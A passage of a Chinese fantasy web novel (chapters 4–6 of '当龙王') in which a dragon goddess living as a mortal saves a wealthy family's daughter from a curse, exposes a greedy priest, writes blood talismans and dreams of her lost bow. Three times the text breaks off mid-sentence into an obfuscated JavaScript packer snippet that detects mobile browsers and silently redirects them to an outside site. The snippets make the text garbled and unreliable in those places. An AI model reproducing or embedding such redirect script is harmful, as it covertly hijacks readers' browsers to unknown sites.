陆雁锦不想在大喜的日子,拿自己的倒霉事给别人添晦气,也无意挑起学姐的家庭矛盾,张了张嘴,又闭上了,只说应真潇是自己的朋友,要在酒店住一夜。 ——回酒店的路上,应真潇才知道,陆雁锦的学姐家里是本地的豪门,她本人又是独生女,如珠如宝,受尽宠爱,为了女儿的婚礼,她父母包下了县里所有酒店,以便接待宾客。 也就是说,应真潇今晚如果要投宿,要么得去青年旅舍,要么得打车去市区——崇县在行政区划上虽然属于江城,但实际上和市区离得很远。 陆雁锦十分热心,便说让她先住在这里,明天或者后天再去市里。 “哎,好好好。二少的朋友也是我们的贵客啊!”学姐父母,也就是周家夫妇,十分热情地和应真潇握手:“贵客临门,大吉大利!要是有空,在崇县多玩两天!” 简单寒暄后,周家夫妇就告辞了。陆雁锦给应真潇扫了个充电宝,领着她去全天营业的酒店餐厅吃饭,一边走路,一边鬼鬼祟祟地八卦:“小应姐,我听说周家有龙鳞,你觉得是不是真的啊?” 周家经营的龙珠集团,拥有华东地区最大的珍珠产业链,涉及珍珠养殖、珍珠深加工、珍珠饰品、珍珠化妆品、珍珠保健品等等领域。 珍珠是周家的祖业,打明朝起,周家人就开始以采海珠为生,据说某年周家当家的男人死了,只剩下寡妇带着两个孤儿,替大户人家浣衣为生。 次年发大水,周家寡妇浣衣落水,恍惚间见到一个独角素衣的女子,给了她一个凉丝丝的物件。上岸一看,是一片青色的龙鳞,靠着这片龙鳞,周家寡妇能闭气半炷香,潜到海底采珠养家。 那片龙鳞至今还收藏在周家,据说是应真湖龙女的鳞片,但是少有人见过;不过,周家倒是积极宣传这个故事,龙珠集团品相最好的档次的珍珠,就叫龙女天珠。 “怎么,”应真潇好笑地看着他:“这会儿不怕鬼神了?” 这孩子不久前还眼泪汪汪的,说她的身份证是蝎子蜈蚣癞□□变的呢。 陆雁锦害怕的劲儿过去了,这会儿反而兴奋起来了,嘿嘿一笑:“我这不是好奇吗?小应姐,你觉得这个事真吗?” 应真潇:“不知道。” 她是当事龙不假,但是她救过的人比陆雁锦这辈子见过的都多,哪能一一记得;更何况,她现在流落凡间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447581|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除非周家把龙鳞展示给她看,否则也没办法核实真伪。 陆雁锦他哥倒是真有龙鳞,估摸着也是因为这个原因,陆雁锦好奇心也没那么重,哦了一声就没下文了,两人吃完宵夜,陆雁锦加上应真潇的微信,给她转了五万块钱。 应真潇也没推辞,她正是缺钱用的时候:“等我过阵子发工资了还你。” “啊?不用不用。”陆雁锦连忙道:“小小心意而已!” “不。”应真潇深沉道:“收了会影响我的kpi结算。” 陆雁锦:? 不知道脑补了什么剧情,他肃然起敬。 …… 凡人的身体格外虚弱,应真潇到了房间,沾着枕头就睡过去了。 睡意沉沉间,小腹忽然一阵抽动,好像是小崽子在里面打滚,应真潇有些惊动,迷迷糊糊地翻了个身,然后听到哐哐的敲门声。 “小应姐,小应姐!别睡了!”是陆雁锦,声音急切:“学姐出事了!你快来看看啊!” 应真潇:……嗯? 她一下子就清醒了,从床上坐起来,迅速穿好衣服,打开房门。 “小应姐,学姐出事了!”门口的陆雁锦心急如焚:“你快来看看吧!” 周父站在陆雁锦身后,双眼发红,身上萦绕丝丝缕缕的……邪气。 作为观测到邪气的代价,应真潇眼睛的胀痛加剧,她目光一凛。 她跟着两人坐车去医院,路上,周父语无伦次地交代了事情的经过,他一颗心全部挂在女儿周珊珊身上,此时说是六神无主也不为过。 不久之前,他们发现女儿夜深了还没回来,找人的时候才发现,女儿根本不是去见朋友了,而是背着他们,偷偷办了个海滨婚礼! ——其实是婚前派对,不过上了年纪的人不懂这些,陆雁锦也没敢吱声。 周家父母气急败坏,但也拿这个宝贝女儿实在没有办法,打了好几个电话都没人接,周父意识到不对,等他们赶到现场时,才发现事态严重: 派对现场,宾客们横七竖八地躺了一地,都没受什么外伤,只是表情惊惧,像是看到了什么恐怖的东西,有些人嘴里还喃喃着“救命”、“有鬼”之类的话。 穿着婚纱的周珊珊也晕了过去,但她的情况比宾客们和准新郎严重得多,躺在地上人事不省,脸色青白,进去的气多,出来的气少。 周家人立刻把出事的人送进医院,客人的诊断基本都是惊吓过度,以及昏迷摔倒造成的机械性损伤;而周珊珊问题就严重多了,呼吸心跳降到一个极低的水平,连自主意识都消失了。 “监控里也看不到发生了什么。”周父道:“二少刚离开场地,监控就全黑了……家里老人说,是撞了邪,多亏了二少送的长命锁,才保住了性命……” 起先,周家人以为是食物中毒或是有毒气体泄漏之类的问题,直到发现周珊珊昏迷时手中握着碎裂的、刻有符文的长命锁,家里老人才意识到不对。 他们连忙查看监控,发现长命锁是陆雁锦所赠,而直到监控黑屏,长命锁都还好好的,一直被周珊珊拿在手里把玩。 周家人立刻联系了陆雁锦,才知道陆雁锦也遭遇了一些事情,并且是被应真潇救了,又立刻来请应真潇。 “都怪我,都怪我!”周父忽然用力抽了自己两耳光:“月圆之夜,本来就有恶蛟作祟的,姗姗还小,不知道轻重,都怪我们做大人的没管好她!” 说完,他把脸埋进手掌里,泣不成声。 身边的秘书一边安慰他,一边给应真潇和陆雁锦讲解当地的情况。 崇县靠着东海,离应真湖三百多公里,但龙女信仰相当盛行。本地婚嫁必需避开朔望之夜,并且不能见江河湖海,按照老人们说的,月圆之夜,龙女射杀的恶蛟残魂便要作祟,尤其不利新人。 而周珊珊这个婚前派对,又是月圆之夜,又是在海边沙滩上,debuff简直叠满了。 “应、应大师!”周父已经知道了陆雁锦今晚的遭遇,眼下把她当成救命稻草:“你可千万要救救我女儿啊!医生说,她现在这样熬不过今晚啊!” 应真潇微微蹙眉。 4. 当龙王 04 一行人很快就赶到了周珊珊的病房,一打开门,就听到仪器滴滴答答的声音、周母的啜泣声和其他人说话的声音。 看清病房里的景象,陆雁锦靠近应真潇,小声道:“小应姐,传说是真的。” 躺在病床上的周珊珊,完全不像她父亲说的那么严重,面色红润,神色安详,仿佛只是睡了过去;而这一切,仰赖于摆放在她胸口的一个黄金小匣 ——里面盛着一片青色的龙鳞。 应真潇颔首。 “我把应大师请来了。”周家爸爸强忍着情绪,叫人把现场的照片拿来给应真潇看,又介绍道:“这位是秦道长,本地龙王庙的住持。我还请了崇真观的人,已经在路上了。” 大户人家看事,多方邀请是惯例,因此,秦道长嘴上没拿乔,只是上下扫了应真潇一眼,轻哼了一声,不屑之情溢于言表。 陆雁锦自觉和应真潇是一伙的,当下就不太高兴了,应真潇拉了拉他,不动声色:“先看看现场情况。” 两人找了个位置坐下,避其锋芒的举动在秦道长看来,就是心虚了,他又哼了一声。 “既然周先生也到了,那我就直说了。”秦道长捋了捋短须:“依我看,周小姐的病情,正是犯了忌讳,冲撞了恶蛟残魂所致。恶蛟凶险,周小姐八字多阴,今年又犯太岁,恐怕凶多吉少了。” 闻言,周家妈妈又哭开了。 “不过,仙道贵生,常留一线生机。”秦道长说:“机缘近在眼前,端看周先生周太太拿不拿得住了。” 周家爸爸心急如焚:“大师,人命关天,您就别打哑谜了!不管是出钱还是出力,只要我们周家办得到的,绝对不推脱!” 秦道长道:“周先生一片拳拳爱护之心,实在令人感动。那恶蛟是龙女所诛,宜用龙女神力克制。” 周家父母连连点头。 “周先生可请道士来,依龙女镇邪科仪,连办三天法会,并诚心手抄《应真元君救世宝诰》三百遍,法会结束时焚烧,再请一尊开光的龙女像,敬奉家中,如此,周小姐便可安然无恙。” “龙女娘娘的科仪,自然是龙女庙的人来做,最为熟悉灵应。要是一时找不到人选,我们龙王庙里也有龙女配祀,并且龙王乃龙女之父,法脉一脉相承,效果定然也不差。” “不过。”秦道长顿了顿:“这么下来,花费只怕不下百万。” “百万算什么!”周家妈妈激动道:“只要能救我们囡囡,一千万一个亿我们也出!” 周家爸爸也连连点头:“是是是,钱不是问题!就依道长所言!时间紧迫,还请秦道长出手,替我家囡囡祈福消灾!” 秦道长露出为难的表情,好一会儿才叹了口气,正要说话,却被应真潇打断。 “且慢。”她的声音从容,不紧不慢,眼眶却莫名有些发红:“秦道长,人家父母心急如焚,你却在此借机敛财,不太合适吧。” 病房为之一静。 “黄口小儿,安敢血口喷人!”秦道长双眉倒竖,拂袖欲走:“周先生,我们修道之人讲究缘法,从不强求,你若是不信任我们,就另请高明吧!” 周家爸爸赶紧拉住秦道长:“道长,道长我们绝对没有这个意思啊!” 但拉住归拉住,他看着应真潇,想到她是陆家二少爷举荐的高人,陆二少又是周珊珊的救命恩人,也不敢得罪,犹豫道:“不、不知应大师有何高见?” 应真潇越过警惕地挡在前面,生怕别人来打她的陆雁锦,走到周珊珊病床前,指着匣中之物:“这是应真湖龙女的鳞蜕,我没说错吧?” 此言一出,整个病房都安静了,只剩下仪器滴滴答答的声音——眼力本身就是一种证明。 “算你有些见识。”秦道长冷哼一声:“是又如何?崇县三岁小儿都知道,周家供奉有娘娘鳞蜕;你要是看不出来此物神异,只能证明你是个彻头彻尾的骗子。” 周家父母神情一变,显然信任的天平又向秦道长倾斜了。 陆雁锦不爽:“你凭什么说我姐是骗子?” 要骗怎么不骗他?他家不比周家有钱? 应真潇拍拍他的肩膀,淡定从容:“道长,你是看有龙鳞镇着,周小姐看起来没有生命危险,才敢张嘴敛财的吧?但这是一时的,龙鳞只能护住她十二个时辰,要是不解决问题,时辰一到,周小姐照样没命。” 这话太骇人了,周家妈妈差点昏死过去。 秦道长冷笑:“你是质疑龙女娘娘神力?龙女娘娘连恶蛟真身都斩了,还能镇不住这小小残魂?我也供奉龙女娘娘多年,是你懂娘娘还是我懂?” 应真·龙女本龙·潇:…… 好气啊,她去年累死累活干了一年,工作日加班加点周末去反诈扶贫,到手才十万块,这家伙一张嘴就要骗走她十年工资,竟然还敢打着她的幌子! 打工龙的怨气立时就冒了出来:“别说是娘娘鳞蜕,就算是龙女亲自下降,也不会干预她自己惹来的因果。再者说,这根本就不是恶蛟残魂作祟。” 周家爸爸一愣:“啊?不是蛟魂作祟还能是什么?” 这是本地人代代相传的老习俗,多年以来一直应验,因此,秦道长说是蛟魂作祟的时候,他根本没有任何怀疑。 “那头蛟死在伏诛岭,就算有残魂,隔着这么远作祟,是不是有点过于猖獗了?”应真潇无语:“刚才还挺相信龙女娘娘的,这下又开始怀疑娘娘办事不力了?” “你们这里的风俗,主要是因为崇县临海,海水本来阴气就重,精怪也多,月圆之夜阴气大盛,阴物自然活跃,办婚事吹吹打打的,可不就容易吸引魑魅魍魉么。” 这话看似天马行空,但仔细想想好像又有点道理,病房众人一时无言以对。 陆雁锦左看看,右看看,忍不住小声吐槽:“我怎么感觉好像在看《走近科学》?” ——不对,这个该叫《走近玄学》啊! “哼,一派胡言!”秦道长一甩道袍袖子,作势要走,病房的门突然开了,秘书引进来两人:“周总,夫人,崇真观的许道长到了。” 秦道长冷哼一声:“来得正好,周先生不信我,总该信崇真观的道友吧?就让道友亲自给你揭穿这胡说八道的狂妄之徒!” “许师兄!”秦道长胜券在握,主动迎了上去:“无量寿福!” 来的两人却眼前一亮,径直越过他,向应真潇走来。 秦道长:? 哟?应真潇挑了挑眉。 陆雁锦凑过来:“姐,你认识啊?” 应真潇:“一面之缘。” 来人正是可丽饼小哥和他师叔——也就是那天带队和蛇妖搏斗的道长。 可丽饼师叔看都没看秦道长一眼,对着应真潇,态度恭敬,语气真诚:“没想到竟然在这里见到应高真了!上次一别,一直联系不上应高真,未能当面感谢高真救命之恩,某一直抱憾在心!” 说完,他长揖到地,可丽饼小哥也连忙跟着行了个礼:“多谢高真救命之恩!” 一直不在服务区的应真潇抬抬手:“不必多礼。两位受了重伤,身体已经恢复好了吗?怎么不多修养修养?” “托高真的福。”可丽饼师叔恭敬应答:“我等很快就康复了,眼下身体不但无恙,还觉得比受伤前更加强健!” ——乙木精气,小子。 应真潇微微一笑:“那就好。” 两人一来一回,把周家人看得目瞪口呆,被忽视的周父忍不住试探道:“许道长,您和应大师认识?” 崇真观是江城规模最大、规格最高的宫观,也是江城及附近地区唯一的十方丛林、道家重地,在上流社会很受推崇,不管是头香还是法会前排,都不是一般人有机会的。 而这位不知道从哪里冒出来的应大师,居然能被崇真观道长以如此重礼相待?! “应高真是我的救命恩人,更是我们崇真观的贵客。”可丽饼师叔并未泄露蛇妖出逃的事情,看周父的表情,知道他不太相信,于是转而介绍起了应真潇,算是以崇真观的名义给应真潇背书。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447582|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应高真是龙女娘娘座下道友,师承应真湖龙女庙,还有获得龙女娘娘鳞蜕的大机缘,虽然名声不显,但能力毋庸置疑,别说区区在下,比我们周主任也是不输的。” 陆雁锦嘴张成o型:“哇,姐你居然这么厉害?” 众人的表情变得微妙了起来,周父更是直接看向秦道长,无语凝噎。 刚才那句掷地有声的“你懂娘娘还是我懂娘娘”,此时就像一记回旋镖,重重抽到秦道长脸上。 秦道长顿觉脸上火辣辣的,涨成了猪肝色,嘴唇嗫嚅着,却说不出话来。 好在这会儿也没人再在意他了,周母哭着扑倒应真潇身前,跪下磕头:“方才是我们有眼不识泰山冒犯应大师了,您大人不记小人过,求求您救救我们囡囡!我们一定尽全力补偿您!” “补偿就不必了。”应真潇说:“我可以救令千金,但代价是,这片龙鳞此后就不复存在了。周先生,周太太,你们考虑清楚。” 周家父母一时愣住了。 传说中的故事并没有夸张,这片龙鳞是周家的基业所在。 从前,靠着这片龙鳞,周家人得以潜入深海采东珠进贡皇宫,世代富庶;后来不采珠了,这片龙鳞就作为风水阵的镇眼,存放在周家的珍珠养殖基地,仰仗于此,周家珍珠无论是产量还是质量,都远远超过同行,珍珠生意也一直顺风顺水。 再无龙鳞庇佑,对周家而言,可谓是一记重创。 “……求大师救我女儿!”周父咬牙,跪到地上,给应真潇磕了个响头:“作为周家子孙,周家百年基业毁在我手上,无论祖宗怎么怪罪我,惩罚我,我这不肖子孙绝无二话;但作为囡囡爸爸,我不能眼睁睁看着囡囡离我而去!” 说着说着,身材高大,西装体面的男人竟然伏在地上,泣不成声。 周母也哭,病房内哭声混成一片,悲惨得令人目不忍视。 “……哎。”应真潇摸了摸肚子里动个不停的小崽,越过跪在地上的周家夫妇,对着昏迷不醒的周珊珊说:“哀哀父母,生我劬劳。经此一役,希望你以后洗心革面,改过自新。” 说完,她拿起了匣子里的龙鳞。 龙鳞上并无任何意识,只是一个神力的载体,无论是避水、驱邪还是使珍珠丰产,都不过是神力被动产生的副作用。 周家这片龙鳞时间已经很久了,上面的神力和乙木精气如同无根之木,无源之水,原本就已近枯竭,即使不出这档事,也只能再传个两三代人了。 而她现在要做的,是主动把这剩下的一点福泽,一次性消耗。 主动使用神力,要么是神灵本尊,要么是道行高深,供奉多年的修士,开坛经神灵允许后,取得权柄,应真潇现在一介凡身,也没办法自己取得自己的同意,但是,她有外挂。 摸摸肚子,她心里说:“崽,上号代练了。” 灵气顺着她的手臂涌入龙鳞中,应真潇脸色发白,手臂也微微发抖——疼的。 好在龙鳞温柔地接纳了这同根同源的幼崽的灵气,随即光芒大盛,化为齑粉。 随着一声骇人的尖啸,病房里的温度陡然下降了四五度,刮起阵阵阴风,医疗仪器不停报警。 陆雁锦吓得赶紧抓住应真潇衣摆,其余修士也下意识地护住自己,周家父母的第一反应却是回身护住病床上的女儿。 等动静消停,周珊珊从床上猛然坐起,尖叫道:“有鬼啊!” “囡囡不怕,囡囡不怕!”周母跌跌撞撞地起身抱住她,不停亲吻她的脸颊,眼泪横流:“爸爸妈妈在呢,爸爸妈妈都在呢,囡囡不怕,爸爸妈妈保护囡囡。” 待一家人情绪平复——主要是周珊珊从恐惧中回过神来,周父才满脸焦急地询问应真潇:“既然大师说这不是蛟魂作祟,那是怎么回事啊?这样就解决了吗?还会不会伤害我们囡囡啊?” “这就要问令千金自己了。”应真潇收起表情,脸上浮现出不怒自威的认真神色:“周小姐,你能不能解释一下,派对现场的蚣蝮石雕,是你从哪里得来的?” 5. 当龙王 05 周珊珊是学设计出身的,虽然买文凭的成分大,但也不算完全的绣花枕头,派对场地风格混搭,陈列了她的很多收藏,但并不杂乱,反而和谐富有美感。 用她自己的话说,“出片”。 但事情坏也就坏在她这些漂亮的收藏上。 凭借龙族天生的望气能力,应真潇轻易找到了罪魁祸首:一尊蚣蝮石雕。 在她的视野里,那尊石雕出现的照片,都存在相当程度的扭曲,人脸发黑,背景隐隐现出鬼影,可见其邪性;而看向那些照片时,她眼睛的胀痛就会陡然加剧,险些流出生理性泪水。 蚣蝮是善水性的神兽,因为肚子大,能吸很多水,所以有调节河流水量的能力;除此之外,蚣蝮还能镇压水中邪祟,因此,修桥之时,常常会造蚣蝮于桥头或桥身,使之永镇江水,久保平安。 周珊珊婚礼那一尊,造型传统,明显就是从某处桥上挖出来的;但按常理说,蚣蝮是久受香火的神兽,即使被挖走,也不应该带有这么浓厚的邪祟之气。 因此,应真潇推测,应该是桥下本就有强大的邪祟,周珊珊挖走了镇兽,导致邪祟出世;邪祟自然不会感激周珊珊放它自由,只会第一时间来会来寻仇作祟。 闻言,周珊珊脸上流露出不自然的神色,随后又垂下眼帘,语气生硬:“这是我的私事。” “确实与我无关。”应真潇皱着眉:“反正折的是你自己的寿。不过我丑话说在前头,要是没有及时处置,酿成大祸,牵连无辜,你的下场只怕就不止折寿那么简单了。” 良言难劝该死的鬼,提醒过后,她不会过分干预他人的因果;但这事显然不单是周珊珊个人的因果,还牵连众多无辜之人。 除了婚礼现场的宾客,还有蚣蝮原来所在之地的百姓,镇兽被挖,轻则血光之灾四处戴孝,重则兴起水患,决堤淹田。 应真潇不忍见。 听到她的话,周珊珊的表情扭曲了一下,张口正要说什么,却突兀地吐出一大口血,随后剧烈地咳嗽起来,不停地咳出鲜血。 大片刺目的血迹吓坏了周家父母,一边给周珊珊顺气,一边眼泪汪汪地跪下求应真潇救命。 有了应真潇的提醒,可丽饼师叔施法开天眼,也隐约看出来照片不对劲了,严肃道:“与其求应高真,两位不如劝劝令千金,她是始作俑者,连发生了什么都不肯交代,旁人也无从下手。” “周先生,此时绝非小事,要是处理不及时,恐怕会导致当地出现血光之灾,严重的话,产生水患也有可能。” 这话不可谓不重,周父急得团团转,指着周珊珊,恨铁不成钢地“哎”了两声:“周珊珊!你,你要气死我啊——” “都怪我和你妈把你宠坏了,任性妄为就算了,竟敢做这种伤天害理的事情!”周父气得一拍床头柜:“赶紧说,到底发生了什么!再不老实交代,我、我亲自送你下去给列祖列宗赔罪!” 周珊珊也是被吓坏了,等咳嗽暂缓,她泪眼婆娑,哭着道:“我说,我说!” “是、是……”她嗫嚅了一下,看看满脸焦急的父母,又不自在地撇过脸去:“下阳县弄来的。” 应真潇对下阳县的了解,仅限于知道那是赣省的一个地名;不过许道长听完,脸色大变:“下阳县洗冤桥?!” 周珊珊点头。 “坏了坏了!”许道长背着手踱了几下,两条眉毛都快打结了。 应真潇微蹙眉头:“许道长有了解?” “我先和观里打个招呼!”许道长先出门给观里打电话去信,回来后才苦笑道:“职责所在,应高真见谅。” 崇真观是道家重地,对这种事情本来就有及时上报的义务;更何况此事非小,他不敢怠慢。 应真潇颔首:“无妨。” 许道长将下阳县洗冤桥的历史娓娓道来。 嘉靖二十一年春,百年未遇倒春寒席卷赣北,冻雨挟冰凌压断下阳县新秧,县志记载:“其形如刃,斫麦于野”,低产已成定局。 时任下阳县令的蒋世荣,为了政绩考评,隐瞒灾害;又为防事态暴露,贪墨朝廷赈灾银粮,丧心病狂地毁堤决水,混着冰碴的江水逆流灌入平原,甚至形成了“冻土裹尸”的惨景。 下阳县沿江七百户人家灶台无火,母亲们不得不将婴儿绑在门板上漂流;灾后,蒋世荣将赈灾钱吞没,又将赈灾粮转手出卖,导致下阳县饿殍四处,哀鸿遍野。 县内小吏良心过不去,偷出分赃账册后自缢而死,发现真相的民众民怨沸腾,冲进县衙,将县衙所有官吏投入下阳河中溺死。 时任江西布政使崔文奎,是蒋世荣座师,又想遮掩丑事,上报朝廷时,将民变日期篡改至决堤前,诬指“暴民毁堤引发天罚”。 朝廷派时任刑部侍郎严世蕃作为钦察查下阳县之事,严世蕃观灾民面有菜色,定为“久蓄反心”;见江面浮尸戴木枷,断言“私刑悖逆”;闻空气中有焚纸味,推测“祭拜邪神”;查县衙残存账册,笑称“刁民伪证”,随即以“逆民生变”上报。 是年秋,南昌左卫三百铁甲入下阳县,崔文奎将“诛首恶”的诏书朱笔篡作“阖县同罪”,设刑场于决堤旧址,斩首千余人,鲜血染红了下阳河;又将尸体投入江中,令余人不得收敛,以儆效尤。 如此暴政,激起了民愤,果然发生起义,义军最终落败,朝廷又下令追剿义军余党,以致下阳县“万户空门,燕巢于林”,死伤无数。 次年秋,崔文奎误将《决堤案实录》混入青词贺表;南京刑部夜闻江风送八百人联名血状,字迹皆由水藻拼成;鄱阳湖连续四十九日现血雨垂丝异象,道士陶仲文占卜得“戾气冲紫微”。 天降异象,嘉靖震怒,派人详查,真相大白后,崔文奎被诛九族,相关人员杀的杀抓的抓,又令天师府设水陆斋醮,敕建洗冤桥于决堤之处,以告亡魂,下阳之事遂平。 许道长说完,忍不住长叹一口气。 史书上寥寥一笔,现实中却是成千上万条鲜活的人命。 应真潇眉头紧缩:“……原来如此。” 无数死者的滔天怨气根本不是一场斋醮能化解的,被镇压在桥下数百年,又碰巧周珊珊挖走镇兽,不出事才怪。 此时,一直拿着许道长手机,在门外等师门通知的可丽饼小哥推门而入,脸色焦急:“师叔师叔,真出事了!” 下阳县连着下了三天大暴雨,下阳河水位暴涨将近两米,河水变得猩红,不停翻涌,周围群众一直反应,说听到有人在呼救喊冤。 天师府驻在下阳县的人收到了他们的信息后,立马动身前往洗冤桥查看,发现桥头围着施工围挡,拆开后发现蚣蝮石雕果然失踪了,桥下浮着一片邪气冲天的石碑,既不沉下去,也不随水流动。 当地有关机构赶紧组织人捞了上来,发现石碑正面刻着“嘉靖敕建”,背面是密密麻麻交错纵横的“恨”、“悔”字,字迹像是指甲抓出来的。 病房里一时鸦雀无声,众人脸上浮现出惊恐的神色,周珊珊忍不住往妈妈怀里缩了缩。 她现在比水里的水鬼还后悔! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447583|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然她确实因为一己之私,以不光彩的手段挖走了石雕,但她本意却不是招来恶鬼啊,想着最多赔点钱而已! “妈妈,救救我!”她涕泪横流地扯着周母的衣服:“我不想死!以后我都听你们的,再也不说你们封建迷信了!” 周母也面露惊恐之色:“应大师,我知道珊珊犯了滔天大错,我们以后一定好好管教她,求求大师给孩子一个改过自新的机会!您要是能解决这件事,我们愿、愿意给龙女娘娘捐金身一座!” “不修善果,求仙问道无用;但行好事,见神不拜何妨。”应真潇摇摇头,神色冷淡:“周太太,你家的事我不会再管了,也用不着我再管了——你们确实可以找秦道长做法事,尤其是给现场受牵连的宾客。” 被这等邪煞冲撞,对寿数的影响是不可逆,做法事也只是尽力减少不利影响而已。 说完,她叫陆雁锦去找几张白纸来和小刀来,陆雁锦很狗腿地“哎”了一声,去护士站给她拿了几张空白的处方和一把美工刀:“这行吗?” “行。”应真潇转向许道长:“许道长。” 皱着眉的许道长精神一振,连忙立正恭听:“高真有何吩咐。” 他的眼睛里隐含期待,此事严重,若能得到应真潇助力,想必更容易解决。 “下阳县当年之事,黎民百姓本就是受害者。”应真潇道:“我不忍见到他们的后人再受此无妄之灾。” 窗外忽然雷声大作,随后就是雨水噼里啪啦击打窗户的声音,这个本应晴朗的满月之夜,竟下起了瓢泼大雨,如同上苍垂泪,也像是某种警告。 “一切业报,我自担之。” 说完,她拿小刀割破右手食指指尖,血珠立即涌了出来,小崽的灵气往手上汇聚。陆雁锦“嘶”了一声,不忍心的别过头。 应真潇不为所动,指尖按在处方笺上,如同龙蛇游走,一气呵成画了个飘逸的符号。待她手指离开处方笺,血迹现出金光,随即又变回血色。 许道长惊叹:“潇字云纹符!” 传说应真湖龙女真名诲潇——倒也不算传说;道教中便有以潇字为基础的云纹符箓,可以恭请龙女神力,镇水安民。 应真潇抿着苍白的唇:“嗯。” 她已经试出来了,借龙崽的力量产生的不适,取决于她借力的大小;看到蜃气小打小闹,看到蚣蝮石雕却极为难受,而现在,她要借到足以平息一场水患的力量。 失去这点血不算什么,但以凡人的身体,强行催发龙崽的元炁,极为勉强,她感觉自己魂都被抽走了半截。 撕下这一张交给许道长,应真潇又在后面三张处方笺上分别写上“敕令下阳河龙王到此”、“敕令水府众将到此”和“镇水安民”,递给许道长。 许道长也看出了她的勉强,面露不忍,恭敬接下:“某替下阳县百姓感谢应高真慈悲为怀!” “写完了吧?”陆雁锦忧心忡忡地看着她的手:“姐,我带你包扎一下吧?怎么流了这么多血啊。” 哦,还有个傻狍子。 应真潇凡人的身体已经接近耗竭,整个龙摇摇欲坠,但秉着来都来了的观念,她又在纸上写了个“平安”,递给陆雁锦:“不白拿你钱,收好。” 说完,彻底被抽空的应真潇身体一软,脑袋直接往下一栽。 失去意识前,她脑海中响起一道飘渺的、不甚真切的,但听起来分外悲伤的声音: “妈妈,手!” ——哦,还是个雄的。 应真潇想。 6. 当龙王 06 身体有一种轻飘飘的感觉,视角很高,好像是以第三人的身份,在看一件自己是主角的事情。 应真潇意识到,她在做梦。 在凡人的学说里,梦被认为是大脑在处理被压抑的、尚未完结的情绪;而神灵的梦,则往往是某件具有意义的事情的预兆,是神明灵性的体现。 二者从某个角度来说是相通的,敏感、有灵性的人才会有多余的情绪;作为对比,在过往的二十年中,她愚钝的、没有灵性的凡人的身体,没有做过任何梦。 而此刻,她在做梦。 应真潇飘在半空中,双臂抱胸,沉默地看着下面正在重演的记忆。 考功司的使者说,她的考评报告其实通过了审查。虽然有争议,但是东华帝君亲自过目,最终审定她通过考核。 但是,她的考核报告在焚告上天的时候,遭到了退回——神明也有神明的上级,例如三清四御,再往上,还有世间万物的主宰,他们称为“道”。 天庭大小事件,各种公文,处理结束后都要焚烧上告,如同人间焚烧青词。如果没有下文,就代表上面认可;如果焚烧的文书又被退回,则代表上面认为还有待商榷。 “东华帝君认为,”使者双手微动,做了个拉开弓弦的动作:“或与娘娘失物有关。” 四海龙王的储君破壳时,都有一件神器伴生,这是未来龙王的天命权柄象征;没有的,则无法继承龙王之位,只能是普通嗣子。 应真潇口衔神弓而生,她将自己的弓命名为雁断,意为箭矢到处,虽鸿鹄亦不能往。 千年前恶蛟之祸,恶蛟撞裂天维,导致天河倾泻而下,又通过大地的裂口,灌入冥河,她折角射杀蛟龙,又将雁断投入水中,以止住洪水,使得天河逆流而返,地脉复归其道。 那之后恶蛟之祸平息,而她也和雁断彻底失去了联系,多年来多方寻找,没有丝毫结果。 理论上来说,雁断坠入贯通三界的河流,有可能出现在三界的任何地方;当然,也有可能,已经作为她止水的代价,彻底消失了。 而现在,东华帝君认为,退回她的调研报告,让她重返人间继续打工生涯,是对寻找雁断的某种预示。 “如有可能。”使者道:“还请娘娘在凡间,多留心鬼神之事。” 这是当然,她没了灵性,雁断作为龙王的天命权柄,却一定是十分神异的,它在的地方,鬼神之事一定少不了。 再怎么说,一把弓也不可能主动打12345,说自己找不到主人了。 “此外,帝君有言赠元君娘娘。”使者传东华帝君口谕:“修道须积三千功德。” 某种意义上说,这是一句正确的废话。 回忆演到她和使者告别,应真潇感觉身体越来越重,越来越低,好似要和下面的应真潇重合了,她就知道,梦要醒了。 下一秒,她意识陷入了昏暗之中,感觉到有东西在拱自己的手,于是又迷迷糊糊地睁开眼,把乱动的东西抓到眼前。 然后她立马清醒了,捧着乱动的东西,猛然坐起来。 ——竟然是小崽! 龙蛋洁白无瑕,触之温润细腻,只有鹅蛋大小,呈上尖下钝的橄榄形,但尖的不是很明显,通体还是较为圆润饱满,像是一个质地极好的玉球。 “崽,你连蛋的形状都比别的龙好看!”应真潇夸奖道。 龙蛋害羞地转了一圈,随后尖头倒向她包扎好的受伤指尖,点一下,立起来,然后又点一下,如此往复,像是在亲她。 “妈妈已经好了哦。”应真潇在龙蛋表面亲了一口:“来,乖崽,亲一个!” 于是小崽害羞得东倒西歪。 